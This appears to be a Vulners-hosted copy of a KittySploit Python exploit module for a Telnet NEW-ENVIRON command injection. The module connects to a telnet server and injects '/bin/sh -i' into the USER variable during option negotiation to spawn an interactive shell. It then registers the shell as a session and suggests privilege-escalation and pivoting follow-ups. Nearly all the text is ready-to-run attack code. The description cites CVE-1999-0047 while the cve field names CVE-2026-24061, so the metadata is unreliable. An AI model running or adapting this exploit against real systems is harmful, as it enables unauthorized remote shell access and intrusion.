Telnet NEW-ENVIRON Command Injection
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.protocols.tcp.tcp_client import Tcp_client, TCPSocket
import re
import time
import socket
class Module(Exploit, Tcp_client):
__info__ = {'name': 'Telnet NEW-ENVIRON Command Injection', 'description': 'Exploits the Telnet NEW-ENVIRON vulnerability (CVE-1999-0047) by injecting commands into the USER environment variable during Telnet option negotiation. This spawns an interactive shell session that is managed by the framework.', 'author': 'KittySploit Team', 'cve': ['2026-24061'], 'arch': [Arch.X86, Arch.X64], 'platform': Platform.UNIX, 'references': ['https://www.cve.org/CVERecord?id=CVE-2026-24061', 'https://tools.ietf.org/html/rfc1572', 'https://tools.ietf.org/html/rfc854'], 'agent': {'risk': 'intrusive', 'effects': ['active_exploitation'], 'expected_requests': 2, 'reversible': False, 'approval_required': True, 'produces': ['exploit_paths', 'risk_signals'], 'cost': 1.5, 'noise': 0.5, 'value': 1.0, 'requires': {'min_endpoints': 0, 'min_params': 0, 'tech_hints_any': [], 'tech_hints_all': [], 'specializations_any': [], 'risk_signals_any': [], 'auth_session': False, 'capabilities_any': [], 'capabilities_all': [], 'confidence_min': {}, 'confidence_min_any': {}, 'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False}, 'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}, {'capability': 'shell', 'from_detail': ''}], 'consumes_capabilities': [], 'option_bindings': {}, 'suggested_followups': ['post/shell/multi/gather/privesc_suggester', 'post/shell/multi/manage/pivot_autoroute']}}}
IAC = 255
DONT = 254
DO = 253
WONT = 252
WILL = 251
SB = 250
SE = 240
NEW_ENVIRON = 39
IS = 0
VAR = 0
VALUE = 1
shell_command = OptString('/bin/sh -i', 'Shell command to inject (e.g., /bin/sh -i, /bin/bash -i)', required=False)
timeout = OptInteger(10, 'Connection timeout in seconds', required=False)
def vulnerable(self):
"""Mark target as vulnerable"""
Vulnerable.SUCCESS()
def not_vulnerable(self):
"""Mark target as not vulnerable"""
fail.NotVulnerable()
def _exploit(self):
"""
Override _exploit to allow execution without payload requirement.
This exploit uses command injection to spawn a shell, not traditional payloads.
"""
try:
result = self.run()
if result is None:
return True
return bool(result)
except Exception as e:
print_error(f'Exploitation failed: {e}')
return False
def handle_negotiation(self, sock, cmd, opt):
"""
Handles standard 3-byte Telnet negotiation sequences.
Args:
sock: The active socket object.
cmd: The negotiation command (DO, WILL, etc).
opt: The specific Telnet option (e.g., NEW_ENVIRON).
"""
if cmd == self.DO and opt == self.NEW_ENVIRON:
response = bytes([self.IAC, self.WILL, self.NEW_ENVIRON])
sock.sendall(response)
print_info('Responded to DO NEW_ENVIRON with WILL NEW_ENVIRON')
elif cmd == self.DO:
response = bytes([self.IAC, self.WONT, opt])
sock.sendall(response)
elif cmd == self.WILL:
response = bytes([self.IAC, self.DO, opt])
sock.sendall(response)
def handle_subnegotiation(self, sock, sb_data, shell_command):
"""
Handles Telnet subnegotiation (SB) sequences for environment variables.
This is the core of the exploit: when the server requests environment
information, we provide a malformed USER variable containing the shell command.
Args:
sock: The active socket object.
sb_data: The subnegotiation data received from the server.
shell_command: The shell command to inject (e.g., "/bin/sh -i").
"""
if len(sb_data) > 0 and sb_data[0] == self.NEW_ENVIRON:
env_msg = bytes([self.IAC, self.SB, self.NEW_ENVIRON, self.IS, self.VAR]) + b'USER' + bytes([self.VALUE]) + shell_command.encode('ascii') + bytes([self.IAC, self.SE])
sock.sendall(env_msg)
print_success(f'Injected shell command in USER environment variable: {shell_command}')
def process_telnet_stream(self, data, sock, shell_command):
"""
Separates Telnet control sequences from displayable text.
Processes negotiations and subnegotiations.
Args:
data: Raw data received from the server.
sock: The active socket object.
shell_command: The shell command being used.
Returns:
tuple: (clean_output, exploit_triggered) where clean_output is filtered data
and exploit_triggered indicates if the exploit was sent.
"""
clean_output = b''
exploit_triggered = False
i = 0
while i < len(data):
if data[i] == self.IAC and i + 1 < len(data):
cmd = data[i + 1]
if cmd in [self.DO, self.DONT, self.WILL, self.WONT] and i + 2 < len(data):
self.handle_negotiation(sock, cmd, data[i + 2])
i += 3
elif cmd == self.SB:
se_idx = i + 2
while se_idx < len(data) - 1:
if data[se_idx] == self.IAC and data[se_idx + 1] == self.SE:
break
se_idx += 1
if se_idx < len(data) - 1:
self.handle_subnegotiation(sock, data[i + 2:se_idx], shell_command)
exploit_triggered = True
i = se_idx + 2
else:
i += 1
else:
i += 2
else:
clean_output += bytes([data[i]])
i += 1
ansi_escape = re.compile(b'\\x1b\\[[0-?]*[ -/]*[@-~]')
filtered_data = ansi_escape.sub(b'', clean_output)
return (filtered_data, exploit_triggered)
def run(self):
"""
Execute the Telnet NEW-ENVIRON exploit and create a shell session.
"""
try:
target_host = self.tcp_host or getattr(self, 'rhost', None) or getattr(self, 'target', None)
target_port = self.tcp_port or getattr(self, 'rport', None) or 23
if not target_host:
print_error('Target host not set. Please set tcp_host, rhost, or target option.')
return False
shell_cmd = self.shell_command or '/bin/sh -i'
print_status(f'Connecting to {target_host}:{target_port}...')
print_info(f'Shell command to inject: {shell_cmd}')
timeout_val = self.timeout if self.timeout is not None else 10
try:
tcp_sock = TCPSocket(target_host, target_port, timeout=timeout_val)
telnet_socket = tcp_sock.socket
except Exception as e:
print_error(f'Connection failed: {e}')
return False
print_success(f'Connected to {target_host}:{target_port}')
time.sleep(0.5)
exploit_triggered = False
shell_ready = False
print_status('Waiting for server to request environment variables (NEW_ENVIRON)...')
print_info('The exploit will trigger when the server sends a NEW_ENVIRON request')
telnet_socket.settimeout(1.0)
try:
for i in range(30):
try:
data = telnet_socket.recv(4096)
if data:
processed, triggered = self.process_telnet_stream(data, telnet_socket, shell_cmd)
if triggered:
exploit_triggered = True
print_success('Exploit payload sent! Waiting for shell to spawn...')
if processed:
processed_lower = processed.lower()
if b'$' in processed or b'#' in processed or b'%' in processed or (b'>' in processed) or (b'bash' in processed_lower) or (b'sh' in processed_lower) or (b'root' in processed_lower) or (b'@' in processed):
shell_ready = True
print_success('Shell appears to be ready!')
break
except socket.timeout:
if exploit_triggered and i % 2 == 0:
print_info('Waiting for shell to spawn...')
continue
except Exception as e:
if i % 5 == 0:
print_info(f'Waiting... ({i}/30 seconds)')
continue
if not exploit_triggered:
print_warning('No NEW_ENVIRON request received from server')
print_info('The server may not be vulnerable or may not support NEW_ENVIRON')
self.not_vulnerable()
telnet_socket.close()
return False
if not shell_ready:
print_warning('Exploit was triggered but shell may not be fully ready')
print_info('Creating session anyway - shell may become interactive after connection')
print_status('Creating shell session...')
session_data = {'protocol': 'telnet', 'exploit': 'new_environ', 'shell_command': shell_cmd, 'connection_type': 'telnet'}
session_id = self.handler_tcp(connection=telnet_socket, host=target_host, port=target_port, additional_data=session_data)
if session_id:
if self.framework and hasattr(self.framework, 'session_manager'):
session = self.framework.session_manager.get_session(session_id)
if session:
session.data['socket'] = telnet_socket
session.data['connection'] = telnet_socket
print_success(f'Shell session created: {session_id}')
print_info("You can now interact with the shell using the 'sessions' command")
print_info(f'To interact: sessions -i {session_id}')
self.vulnerable()
return True
else:
print_error('Failed to create shell session')
telnet_socket.close()
return False
except Exception as e:
print_error(f'Error during exploitation: {e}')
import traceback
traceback.print_exc()
telnet_socket.close()
return False
except Exception as e:
print_error(f'Exploitation failed: {e}')
import traceback
traceback.print_exc()
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Oct 2026 13:35Current
6.1Medium risk
Vulners AI Score6.1